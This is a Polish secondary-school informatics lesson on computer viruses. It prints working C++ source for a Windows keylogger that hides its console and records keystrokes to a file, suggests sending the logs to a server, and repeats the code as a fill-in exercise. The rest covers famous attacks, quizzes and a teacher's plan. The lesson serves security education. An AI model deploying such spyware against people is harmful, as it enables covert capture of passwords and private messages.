Wirusy komputerowe – implementacja w języku C++

Bibliografia:

- Źródło: Szymon Palczewski, *Covid-19 wzmacnia cyberprzestępczość. Globalna „pandemia cyberataków”*, 5.08.2020, dostępny w internecie: cyberdefence24.pl [dostęp 9.12.2020].

Źródło: Markus Spiske, domena publiczna.

Przypomnij sobie, jak działanie wirusów przedstawiane jest w kulturze masowej. Pewnie od razu przychodzą ci na myśl ciągi zielonych literek na czarnym ekranie? A może inne, równie spektakularne działania hakerów, którzy za cel obrali sobie wielkie korporacje albo ważnych ludzi?

Tymczasem złośliwe oprogramowanie może zainfekować komputer każdego z nas. Warto mieć tego pełną świadomość i być ostrożnym podczas przeglądania zasobów internetu. Napisanie prostego wirusa nie jest wcale skomplikowanym zadaniem, a przypadkowe wpuszczenie nieproszonego gościa do naszego komputera może zdarzyć się w każdej chwili.

Więcej informacji na temat wirusów komputerowych znajdziesz w e-materiałach:

- Wirusy komputerowe,
- Wirusy komputerowe – implementacja w języku Java,
- Wirusy komputerowe – implementacja w języku Python.

> **Twoje cele**
>
> - Zapoznasz się z implementacją prostego keyloggera w języku C++.
> - Wyjaśnisz, czym są ataki DoS oraz DDoS.
> - Przedstawisz historię kilku najsłynniejszych cyberataków.

Przeczytaj

Implementacja prostego keyloggera

Keylogger jest złośliwą aplikacją należącą do kategorii programów szpiegujących. Zadaniem keyloggerów jest przechwytywanie informacji o klawiszach naciskanych przez użytkownika. W rezultacie atakujący uzyskuje dostęp do treści edytowanych dokumentów, wiadomości tekstowych oraz danych autoryzacyjnych do serwisów internetowych.

Napisanie prostego keyloggera działającego w systemie Windows jest całkiem łatwe. Skorzystamy z biblioteki `Windows.h`. Zdefiniowane w niej funkcje pozwolą nam ukryć okno konsoli programu oraz przechwytywać informacje o naciśniętych klawiszach.

Informacje o tym, które klawisze zostały naciśnięte, będziemy zapisywać w lokalnym pliku. W tym celu wykorzystamy bibliotekę `fstream`.

Oto kod keyloggera:

```
#include <Windows.h>
#include <fstream>
#include <iostream>

int main() {
    // Najpierw ukryjemy okno terminala naszego programu
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    // Tworzymy obiekt pliku
    std::fstream plik;

    // Następnie nieskonczona pętla przechwytująca klawisze
    while (true) {
        for (int znak = 32; znak <= 126; znak++)
            // Sprawdzamy czy dany klawisz jest wciśnięty
            if (GetAsyncKeyState(znak) == -32767) {
                // Zapisujemy znak do pliku
                plik.open("logfile.txt", std::fstream::app);
                plik << (char)znak;
                plik.close();
            }
    }
}
```

Zaprezentowany tu keylogger jest bardzo prosty. Przechwytuje on wyłącznie litery alfabetu łacińskiego i cyfry. Program można jednak ulepszyć tak, aby przechwytywał także znaki specjalne.

Informacje o naciśniętych klawiszach są zapisywane w specjalnym pliku na dysku lokalnym. Można również zmodyfikować kod tak, aby dane te zostały przesłane na serwer, o ile komputer ofiary ataku jest połączony z internetem.

Możliwości rozbudowy przedstawionego programu są naprawdę ogromne. Jedynym ograniczeniem mogą tu być doświadczenie i umiejętności programisty.

Historia najsłynniejszych cyberataków

Rozwój technologii sprawił, że dużą część codziennych aktywności przenieśliśmy do internetu. Coraz częściej robimy w sieci zakupy, płacimy rachunki, a nawet wnioskujemy o kredyty. Z globalnej sieci korzystają zarówno osoby indywidualne, jak i przedsiębiorstwa. Trudno sobie wyobrazić codzienne funkcjonowanie bez dostępu do internetu.

Skutkiem ubocznym tej sytuacji jest jednak wzrost liczby cyberataków. Przybierają one najróżniejsze formy – od kradzieży tożsamości, przez wyłudzenia i szantaże, aż po ograniczenie funkcjonalności komputerów, systemów informatycznych oraz usług sieciowych.

Robak Morrisa

Robak Morrisa był pierwszym wirusem komputerowym, który pojawił się w internecie. Został napisany w 1988 r. przez Roberta Morrisa. Programista postawił sobie za cel uświadomienie administratorom słabości ich systemów poprzez zaprezentowanie możliwości przenoszenia się programu z jednego komputera na inny.

Źródło: Contentplus.pl Sp. z o.o., licencja: CC BY-SA 3.0.

Program wykorzystywał kilka błędów istniejących w atakowanych systemach. Intencją Morrisa nie było spowodowanie większych problemów w ich działaniu, ostatecznie jednak wirus okazał się bardzo szkodliwy. Program powielał liczbę własnych kopii w nieskończoność, co przekładało się na ogromne zużycie zasobów zainfekowanego komputera. Zarażonych zostało ponad 6 tysięcy urządzeń – pod koniec lat 80. stanowiły one około 10 procent komputerów podłączonych do internetu.

Robak Morrisa stał się inspiracją dla autorów kolejnych wirusów oraz ataków DoS (z ang. *Denial of Service*).

Ataki DDoS

Pierwszy znany atak DDoS (z ang. *Distributed Denial of Service*) nastąpił w 1996 r. Jego ofiarą padł jeden z najstarszych dostawców usług internetowych – firma Panix. W ciągu następnych kilku lat ataki DDoS stały się bardzo powszechne, a w roku 2018 odnotowano ich już łącznie 7,9 miliona. Przewiduje się, że do roku 2023 liczba ta ulegnie podwojeniu.

Wraz z upływem czasu zwiększa się nie tylko liczba samych ataków, ale również ich skuteczność oraz zasięg. Atakujący tworzą coraz większe botnety, dzięki czemu zyskują ogromną moc obliczeniową. Ataki te stają się poważnym zagrożeniem dla firm prowadzących działalność internetową, ponieważ mogą spowodować przerwę w działaniu serwisu, co z kolei wiąże się z ogromnymi stratami finansowymi.

Atak na usługi chmurowe Amazona

Największy w historii atak DDoS nastąpił w lutym 2020 r. Jego celem był pewien serwis internetowy korzystający z usług serwerowych firmy Amazon. Do ataku została użyta technika wykorzystująca protokół CLDAP (z ang. *Connectionless Lightweight Directory Access Protocol*). Atak trwał przez trzy dni, a dane ze strony agresora były przesyłane z rekordową prędkością ponad dwóch terabajtów na sekundę.

Atak na firmę Dyn

Dyn jest amerykańskim serwisem oferującym usługi DNS. W roku 2016 firma ta padła ofiarą jednego z największych ataków DDoS, co doprowadziło do wyjątkowo destrukcyjnych rezultatów – ponad 80 serwisów korzystających z usług Dyn przestało funkcjonować. Wśród poszkodowanych znaleźli się Amazon, Netflix, Airbnb, Spotify, Twitter, PayPal oraz Reddit. Straty finansowe szacuje się na 110 milionów dolarów.

Ataki ransomware

Ransomware jest rodzajem złośliwego oprogramowania, którego działanie polega na blokowaniu dostępu do systemu komputerowego bądź zapisanych w nim danych. Najczęściej wykorzystuje się przy tym różnego rodzaju mechanizmy szyfrowania i żąda od ofiary ataku okupu za odkodowanie

informacji. Forma tego ataku jest prosta, a zarazem wyjątkowo szkodliwa.

WannaCry

Atak z użyciem oprogramowania ransomware WannaCry nastąpił w maju 2017 r. Złośliwy program rozprzestrzeniał się na całym świecie przez cztery dni; szyfrował on pliki znajdujące się na komputerze ofiary, a następnie żądał opłaty w wysokości 300 dolarów w formie kryptowaluty. Szacuje się, że dotknął ponad 200 tysięcy komputerów w 150 krajach. Całkowite szkody finansowe spowodowane działaniem tego ataku mogły wynieść nawet 4 miliardy dolarów, co czyni go jednym z najbardziej szkodliwych zdarzeń tego typu.

NotPetya

Program NotPetya pojawił się w czerwcu 2017 r. Zasłynął on tym, że tylko udawał, iż atakuje w taki sam sposób, jak inne programy typu ransomware - podobnie jak w przypadku WannaCry, szyfrowane były pliki znajdujące się na dysku ofiary, od której następnie żądano okupu. Jednak w rzeczywistości algorytm szyfrowania danych skonstruowany był tak, aby skutków jego zastosowania nie dało się już odwrócić.

Wycieki danych

Wiele ataków koncentruje się na wydobyciu wrażliwych danych z systemów informatycznych. Dane użytkowników wielu serwisów internetowych wyciekły z powodu luk w systemach zabezpieczających.

Największy taki wyciek miał miejsce na przełomie lat 2013 i 2014. Przechwycone zostały wówczas dane około trzech miliardów użytkowników serwisu Yahoo. Znalazły się wśród nich takie informacje, jak nazwiska, daty urodzenia, adresy e-mail, hasła oraz odpowiedzi na pytania kontrolne (spełniające rolę danych zabezpieczających).

W internecie działają specjalne witryny poświęcone wyciekom danych – użytkownik może tam sprawdzić, czy jego adres e-mail znalazł się w plikach, które wyciekły do sieci.

Słownik

keylogger

oprogramowanie szpiegujące, którego zadaniem jest rejestrowanie klawiszy naciskanych przez użytkownika systemu

atak DoS

(z ang. *Denial of Serivce*) rodzaj ataku na system komputerowy bądź usługę sieciową, który polega na zablokowaniu działania urządzenia lub serwisu

atak DDoS

(z ang. *Distributed Denial of Service*) odmiana ataku DoS; jej istotą jest atakowanie systemu lub usługi z wielu komputerów równocześnie

botnet

grupa komputerów zainfekowanych szkodliwym oprogramowaniem, które pozostaje ukryte przed użytkownikiem; twórca programu ma zdalną kontrolę nad zainfekowanymi urządzeniami

Audiobook

> **Polecenie 1**
>
> Zapoznaj się z treścią audiobooka i wykonaj ćwiczenie.

Audiobook można wysłuchać pod adresem: https://zpe.gov.pl/b/PNtexr0hn

---

Korzyści finansowe, zdobywanie cudzych informacji czy po prostu ambicja i chęć udowodnienia własnych umiejętności to zazwyczaj główne powody tworzenia wirusów. Znane są liczne przypadki szkodliwych programów, które zasięgiem potrafiły objąć miliony urządzeń. Jednym z nich był robak komputerowy o mylącej nazwie ILOVEYOU. Został on napisany w postaci skryptu w języku VBScript, a następnie rozesłany jako załącznik w wiadomościach e-mailowych. Stało się to 4 maja 2000 roku. Nazwa szkodliwego oprogramowania wzięła się od tytułu przesyłanych wiadomości oraz nazwy dołączanego pliku „LOVE-LETTER-FOR-YOU.txt.vbs". Po otworzeniu skryptu przez odbiorcę kolejne e-maile z robakiem wysyłane były do wszystkich osób, których dane znajdowały się w książce adresowej ofiary. W ten sposób oprogramowanie rozprzestrzeniało się w niewyobrażalnym tempie, ostatecznie infekując ponad 50 milionów urządzeń, stanowiących wówczas 10% komputerów podłączonych do internetu. Drugą operacją wykonywaną przez ILOVEYOU było zastępowanie losowych plików użytkownika kopią robaka. Czasem prowadziło to nawet do unieruchomienia komputera. Ostatecznie koszt szkód wyrządzonych przez skrypt oceniony został na poziomie dziewięciu milionów dolarów. Co ciekawe, twórcy słynnego robaka nie ponieśli żadnych poważnych konsekwencji, ponieważ prawo na Filipinach, z których pochodzili, nie przewidywało wówczas sankcji za tego typu działalność. Obecnie ILOVEYOU przez wielu ekspertów określany jest mianem jednego z dziesięciu najbardziej złośliwych wirusów w historii.

Innym przykładem słynnego wirusa jest CryptoLocker – oprogramowanie typu ransomware. Rozprzestrzeniało się ono w 2013 i 2014 roku głównie za pomocą wiadomości e-mailowych od pozornie legalnych, istniejących firm. Działanie CryptoLockera polegało na szyfrowaniu danych zapisanych na dysku komputera oraz podłączonych do niego dyskach zewnętrznych. Aby odzyskać dostęp do plików, ofiara zmuszana była do zapłacenia okupu w określonym terminie. Jeżeli tego nie zrobiła, dostawała kolejną szansę, ale żądana kwota była wyższa. Oczywiście zapłacenie okupu nie zawsze gwarantowało przywrócenie komputera do stanu sprzed ataku. Nie

wiadomo, ile pieniędzy udało się wyłudzić w ten sposób, jednak ocenia się, że mogło to być około trzech milionów dolarów. Co ciekawe, samo oprogramowanie nie było trudne do usunięcia, jednak pliki użytkownika wciąż pozostawały zaszyfrowane. Ostatecznie sprawa rozwiązana została pod koniec maja 2014 roku, kiedy to zablokowano botnet służący do rozpowszechniania wirusa. Dzięki pozyskaniu bazy danych z kluczami stosowanymi do szyfrowania danych, już w sierpniu tego samego roku utworzona została strona internetowa oferująca za darmo narzędzie deszyfrujące.

Historie CryptoLockera i ILOVEYOU oraz innych złośliwych i szkodliwych programów powinny zachęcać do stosowania profilaktyki antywirusowej, a także do zachowania dużej ostrożności podczas otwierania nieznanych nam stron internetowych lub pobierania plików z podejrzanych źródeł. Mamy dzięki temu szansę uniknąć stresu oraz straty czasu i pieniędzy poświęconych na pozbycie się wirusa z urządzenia.

Ćwiczenie 1

Wyjaśnij, w jaki sposób można byłoby uniknąć zainfekowania komputera opisanymi wirusami.

Sprawdź się

Pokaż ćwiczenia:

Ćwiczenie 1

Wyjaśnij, jaki był główny cel stworzenia robaka Morrisa.

Zaznacz odpowiedź najbliższą swojej.

Porównaj swoją odpowiedź

Ćwiczenie 2

Wskaż szacunkową liczbę komputerów zainfekowanych przez robaka Morrisa.

- 20 tys.
- 15 tys.
- 4 tys.
- 6 tys.

Ćwiczenie 3

Zapoznaj się z tekstem i wykonaj ćwiczenie.

Szymon Palczewski

Covid-19 wzmacnia cyberprzestępczość. Globalna „pandemia cyberataków”

W raporcie „Cybercrime: Covid-19 Impact”, opracowanym przez Interpol, wyraźnie podkreślono, że pandemia koronawirusa ma głęboki wpływ na krajobraz cyberzagrożeń. „Połączenie światowego kryzysu zdrowotnego z gwałtownym wzrostem działań cyberprzestępczych związanych z Covid-19 stanowi istotne obciążenie dla organów ścigania na całym świecie” – czytamy w raporcie.

Dokument powstał w oparciu o dane ze 194 państw członkowskich i partnerów prywatnych, aby zapewnić kompleksowy przegląd sytuacji związanej z cyberprzestępczością w czasie pandemii. Informacje pozyskiwano w ramach „INTERPOL Global Cybercrime Survey”, która została przeprowadzona w okresie kwiecień-maj bieżącego roku.

Według zamieszczonych w raporcie danych, w przedziale czasowym od stycznia do 24 kwietnia 2020 roku Interpol wykrył 907 000 wiadomości spamowych, 737 incydentów związanych z użyciem zainfekowanego ładunku i 48 000 złośliwych adresów URL – wszystkie wykorzystywały tematykę dotyczącą obecnej pandemii. (…)

Cyberprzestępcy nieustannie rozwijają swoje zdolności i sprawnie wykorzystują ludzki strach związany z niestabilną sytuacją społeczną i gospodarczą, co jest następstwem pandemii koronawirusa. Skalę zagrożenia potęguje większa zależność od łączności i infrastruktury cyfrowej ze względu na konieczność przejścia w tryb pracy zdalnej. To wszystko jedynie zachęca hakerów do prowadzenia złośliwych operacji.

Źródło: Szymon Palczewski, *Covid-19 wzmacnia cyberprzestępczość. Globalna „pandemia cyberataków”*, 5.08.2020, dostępny w internecie: cyberdefence24.pl [dostęp 9.12.2020].

Wyjaśnij, dlaczego pandemia Covid-19 spowodowała nasilenie się cyberataków.

Ćwiczenie 4

Zdecyduj, czy poniższe stwierdzenia są prawdziwe, czy fałszywe.

Stwierdzenie	Prawda	Fałsz
W wyniku wycieku danych w latach 2013-2014 do sieci trafiły informacje na temat miliarda użytkowników serwisu Yahoo.	○	○
Całkowite szkody finansowe wyrządzone przez ransomware WannaCry szacuje się na cztery miliardy dolarów.	○	○

Ćwiczenie 5

Wskaż, czym różnił się atak NotPetya od ataku WannaCry.

- ○ Algorytm szyfrowania stosowany przez program NotPetya był odwracalny (w odróżnieniu od WannaCry).
- ○ Algorytm szyfrowania stosowany przez program NotPetya był nieodwracalny (w odróżnieniu od WannaCry).

Ćwiczenie 6

Uporządkuj wydarzenia chronologicznie. Zacznij od najstarszego.

- WannaCry
- atak DDoS na firmę Dyn
- atak robaka Morrisa
- NotPetya
- wyciek danych z serwisu Yahoo
- atak DDoS na firmę Amazon

Ćwiczenie 7

Połącz każde pojęcie z właściwą definicją.

atak DoS	oprogramowanie szpiegujące, którego zadaniem jest rejestrowanie klawiszy naciskanych przez użytkownika systemu
atak DDoS	rodzaj ataku na system komputerowy bądź usługę sieciową, który polega na uniemożliwieniu funkcjonowania systemu lub usługi
keylogger	odmiana ataku na system komputerowy bądź usługę sieciową, która polega na tym, że jest on przeprowadzany równocześnie z wielu komputerów

Ćwiczenie 8

Uzupełnij kod prostego keyloggera w języku C++.

```
#include <          >
#include <fstream>
#include <iostream>

int main() {
    ShowWindow(GetConsoleWindow(),          );

         plik;

    while (true) {
        for (int znak = 32; znak <= 126; znak++)

        if (          == -32767) {
            plik.open("logfile.txt", std::fstream::app);
            plik << (char)znak;
            plik.close();
        }
    }
}
```

`std::ostream` `windows.h` `Window.h` `std::fstream` `SW_SHOW`
`GetAsyncKey(znak)` `Windows.h` `SW_HIDE` `fstream`
`GetAsyncKeyState(znak)` `AsyncKeyState(znak)`

Dla nauczyciela

Autor: Bartosz Zadrożny
Przedmiot: Informatyka

Temat: Wirusy komputerowe – implementacja w języku C++

Grupa docelowa:

Szkoła ponadpodstawowa, liceum ogólnokształcące, technikum, zakres podstawowy i rozszerzony

Podstawa programowa:

Cele kształcenia – wymagania ogólne

V. Przestrzeganie prawa i zasad bezpieczeństwa. Respektowanie prywatności informacji i ochrony danych, praw własności intelektualnej, etykiety w komunikacji i norm współżycia społecznego, ocena zagrożeń związanych z technologią i ich uwzględnienie dla bezpieczeństwa swojego i innych.

Treści nauczania – wymagania szczegółowe

V. Przestrzeganie prawa i zasad bezpieczeństwa.

Zakres podstawowy. Uczeń:

3) stosuje dobre praktyki w zakresie ochrony informacji wrażliwych (np. hasła, pin), danych i bezpieczeństwa systemu operacyjnego, objaśnia rolę szyfrowania informacji;

Zakres rozszerzony. Uczeń spełnia wymagania określone dla zakresu podstawowego, a ponadto:

1) objaśnia rolę technik uwierzytelniania, kryptografii i podpisu elektronicznego w ochronie i dostępie do informacji;

Kształtowane kompetencje kluczowe:

- kompetencje cyfrowe;
- kompetencje osobiste, społeczne i w zakresie umiejętności uczenia się;
- kompetencje matematyczne oraz kompetencje w zakresie nauk przyrodniczych, technologii i inżynierii.

Cele operacyjne (językiem ucznia):

- Zapoznasz się z implementacją prostego keyloggera w języku C++.
- Wyjaśnisz, czym są ataki DoS oraz DDoS.
- Przedstawisz historię kilku najsłynniejszych cyberataków.

Strategie nauczania:

- konstruktywizm;
- konektywizm.

Metody i techniki nauczania:

- dyskusja;
- rozmowa nauczająca z wykorzystaniem multimedium i ćwiczeń interaktywnych;
- metody aktywizujące.

Formy pracy:

- praca indywidualna;
- praca w parach;
- praca w grupach;
- praca całego zespołu klasowego.

Środki dydaktyczne:

- komputery z głośnikami, słuchawkami i dostępem do internetu;
- zasoby multimedialne zawarte w e-materiale;
- tablica interaktywna/tablica, pisak/kreda;
- telefony z dostępem do internetu;
- oprogramowanie dla języka C++, w tym kompilator GCC/G++ 4.5 (lub nowszej wersji) i Code::Blocks 16.01 (lub nowszej wersji), Orwell Dev-C++ 5.11 (lub nowszej wersji) lub Microsoft Visual Studio.

Przebieg lekcji

Przed lekcją:

1. Uczniowie są proszeni o poszukanie informacji na temat ataków wirusów komputerowych z ostatnich lat.

Faza wstępna:

1. Nauczyciel inicjuje dyskusję na temat wirusów komputerowych. Pyta klasę o to, czy miała bezpośrednią styczność ze złośliwym oprogramowaniem.
2. Uczniowie charakteryzują, jakie są skutki ataku wirusa komputerowego dla przedsiębiorstwa, a jakie dla użytkownika indywidualnego. Dyskutują na ten temat w parach.

Faza realizacyjna:

1. Nauczyciel dzieli klasę na grupy.
2. Jedna z grup przygotowuje plan działania przedsiębiorstwa prywatnego, które zostało zaatakowane przez wirusa. Druga – organu publicznego. Trzecia – użytkownika indywidualnego.
3. Grupy prezentują swoje plany działania przed klasą. Nauczyciel w razie potrzeby uzupełnia wypowiedzi.

Faza podsumowująca:

1. Uczniowie wykonują indywidualnie wskazane przez nauczyciela ćwiczenia interaktywne.

Praca domowa:

Wykonaj pozostałe ćwiczenia interaktywne.

Wybierz jeden atak wirusa komputerowego i scharakteryzuj, jak poradziła z nim sobie firma, którą to dotknęło.

Materiały pomocnicze:

- Oficjalna dokumentacja techniczna dla języka C++.
- Oficjalna dokumentacja techniczna dla kompilatora GCC/G++ 4.5 (lub nowszej wersji).
- Oficjalna dokumentacja techniczna dla oprogramowania Code::Blocks 16.01 (lub nowszej wersji), Orwell Dev-C++ 5.11 (lub nowszej wersji) lub Microsoft Visual Studio.

Wskazówki metodyczne:

Audiobook może stanowić dla ucznia podstawę przygotowania pracy domowej.